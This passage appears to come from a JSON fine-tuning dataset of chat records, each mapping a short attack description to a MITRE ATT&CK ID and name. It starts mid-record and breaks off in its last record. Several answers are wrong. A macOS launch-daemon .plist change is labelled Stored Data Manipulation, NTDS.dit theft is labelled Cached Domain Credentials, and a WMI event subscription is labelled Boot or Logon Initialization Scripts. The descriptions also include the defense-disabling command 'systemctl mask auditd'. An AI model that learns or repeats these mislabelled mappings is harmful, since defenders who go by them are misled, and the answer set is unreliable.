                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat uses a hardware keylogger attached to a USB port to capture all typed data."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries send crafted HTTP requests to the container engine's API, retrieving the /v1.24/containers/json response that includes credential information."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a supply chain attack, malicious code is introduced into the VPS image used for automated deployments."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the compiled payload by adding extraneous zero‑filled sections, effectively padding the binary to bypass hash‑based whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a VPN service to route exfiltrated data through an encrypted channel."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor injects a command into a legitimate service's startup parameters, causing it to execute the malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious .heic image is sent via a corporate chat; viewing the image exploits a flaw in the image previewer, causing the attacker’s code to run with the user’s privileges."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder hires a former employee to obtain a copy of the target's internal software build pipeline scripts."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder compromised a web‑based file‑sharing service and used it to host malicious payloads for download."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script reads the NTDS.dit file from a compromised domain controller to obtain cached credential hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware is used to intercept and alter ACH transfer files, changing recipient bank account numbers to divert funds to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1657 - Financial Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit the login flow by generating fake MFA verification requests, overwhelming the user with multiple prompts."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker compresses malicious PowerShell scripts using Gzip and then decodes them at runtime."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group delivers a malicious stylesheet through email attachment; when opened, the XSL processor runs embedded JavaScript, achieving code execution."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Use of regsvcs to load and execute a .NET payload demonstrates System Binary Proxy Execution."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses compromised SSH keys to pull the latest commits from a Mercurial repository hosted on the victim's internal server."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary used a hijacked API token to log into the Oracle Cloud Infrastructure console and enumerate compute instances."
            },
            {
                "role": "assistant",
                "content": "T1538 - Cloud Service Dashboard"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is established by altering the RC script located at /etc/rc.d/rcS to run a hidden trojan on startup."
            },
            {
                "role": "assistant",
                "content": "T1037.004 - Boot or Logon Initialization Scripts: RC Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious PowerShell scripts embed encrypted payloads in Outlook email attachments for C2 communication."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary reads the 'CurrentUser' value from the Windows registry to determine the active user session."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By querying the Google Cloud metadata server at http://metadata.google.internal/, the intruder extracted service account keys for the VM instance."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using brute-forced SSH passwords, the attacker obtains administrative access and installs a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages the SMB protocol to pull password hashes from a remote system using the SecretsDump tool."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script removes all snapshot files and disables recovery services on the host."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious DLL is loaded by a trusted application, which then reads commands from a configuration file and executes them."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker modifies a macOS .plist configuration to launch a hidden daemon at startup."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor stages data in RAM and then exfiltrates it via an encrypted MQTT broker connection."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team exercise includes creating a scheduled task that triggers a reverse shell after a reboot."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor used `systemctl mask auditd` to prevent the audit daemon from being started on boot."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder sets up compute instances in an unused Google Cloud region to bypass existing security monitoring rules."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors design a malicious macro that leverages an office suite exploit to execute PowerShell commands."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a non‑standard local account to avoid detection by security tools."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware cleans up startup scripts and scheduled jobs after execution to prevent detection of its persistence foothold."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker manipulates the SYSTEM and SAM files to extract cached credentials from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The red team used the command \"snmpwalk -v2c -c public <IP>\" to collect MIB entries from the firewall."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved adding unauthorized virtual machine scale sets in Azure to increase the attack surface."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary creates a malicious COM server and registers it in the Windows Registry, then invokes it from another compromised process to achieve inter‑process communication."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involves modifying the sudoers configuration to allow passwordless execution of /bin/bash."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor gathered phone numbers and physical addresses of key personnel by querying online business directories and public records databases."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the compromise, msiexec was used as a proxy to run a malicious WMI script by specifying the /i switch with a crafted MSI containing the payload."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Explain how an attacker might use credential dumping to obtain sensitive information."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the LDAP directory to disable several employee accounts after exfiltrating data."
            },
            {
                "role": "assistant",
                "content": "T1531 - Account Access Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor enumerates the Kubernetes audit logs via the API server to discover past admin actions."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages domain fronting to hide C2 communications by sending data to a fronting domain that appears benign to network monitoring."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages weak file permissions on a .msi package in a shared folder to replace it with a compromised version that installs a credential‑stealing tool."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor performs reverse DNS lookups on IP ranges to discover hostnames and network structure."
            },
            {
                "role": "assistant",
                "content": "T1590.002 - Gather Victim Network Information: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses RealVNC for lateral movement, connecting to internal systems after initial compromise."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a botnet by compromising thousands of unsecured IoT cameras and uses them to conduct large‑scale DDoS attacks against the target organization."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code disables the Linux audit subsystem by unloading the audit kernel module."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker swaps out a legitimate peripheral with a compromised one that runs unauthorized scripts."
            },
            {
                "role": "assistant",
                "content": "T1200 - Hardware Additions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors store executable payloads inside innocuous files, using steganography to hide the malicious content."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remote data staging is achieved when the malware writes stolen files to an external network share that the adversary controls."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious DLL is loaded via a phishing attachment and silently captures all keyboard input, storing the keystrokes in an encrypted log file on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised PDF contains an embedded malicious TIFF image; the image exploits a known vulnerability in the PDF reader’s image rendering engine, causing the execution of a backdoor payload when the PDF is opened."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By creating a malicious .msc file, the threat actor forces mmc.exe to load and execute malicious code."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting a vulnerability in the Java Runtime Environment, the actor disabled sandbox restrictions and executed arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1211 - Exploitation for Defense Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insider uses a bootable USB to install an older Windows image, rolling back patch level."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary registers multiple domains with similar spelling to the target's website for redirect attacks."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload abuses the Print Spooler's print processor loading mechanism to run code at boot, categorized as T1547.012."
            },
            {
                "role": "assistant",
                "content": "T1547.012 - Boot or Logon Autostart Execution: Print Processors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor develops a malicious PowerShell script that can download additional payloads from a remote server."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies a legitimate Kerberos ticket for a web service, granting themselves unauthorized access to the application."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware opens a TFTP connection to fetch configuration files from a remote server."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - Application Layer Protocol: File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group obtains a code‑signing certificate from a compromised certificate authority to sign malware."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performed credential dumping on a compromised host and then used the stolen credentials to log into a VPN portal."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware launches a legitimate Windows utility but injects fake command-line parameters to hide its true purpose."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Hide Artifacts: Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware authors insert large sections of null bytes into a DLL to obscure its true size and avoid heuristic scanning."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code extracts Docker compose files to find container credentials."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated campaign uses firmware-level rootkits to persistently control the device by executing malicious routines during the pre‑OS boot process."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a buffer overflow in a privileged service to dump stored passwords from the system’s credential manager."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider places a malicious USB drive in the target's machine to harvest and later retrieve data."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential dumping is performed by dumping LSASS with Sysinternals tools."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a dormant cloud region in Microsoft Azure to host a back‑door web service, exploiting the lack of logging in that region."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sets up a WMI Event Subscription that triggers a PowerShell script whenever the system starts, ensuring persistence across reboots."
            },
            {
                "role": "assistant",
                "content": "T1037 - Boot or Logon Initialization Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder harvests the signing certificate and creates counterfeit SAML tokens to masquerade as privileged users."
            },
            {
                "role": "assistant",
                "content": "T1606.002 - Forge Web Credentials: SAML Tokens"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary accessed the victim’s Outlook PST file stored on the local drive to harvest all email messages."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a buffer overflow in a privileged application, causing the endpoint to become unresponsive."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script manipulates load balancer health checks, causing traffic to be directed to attacker-controlled servers."
            },
            {
                "role": "assistant",
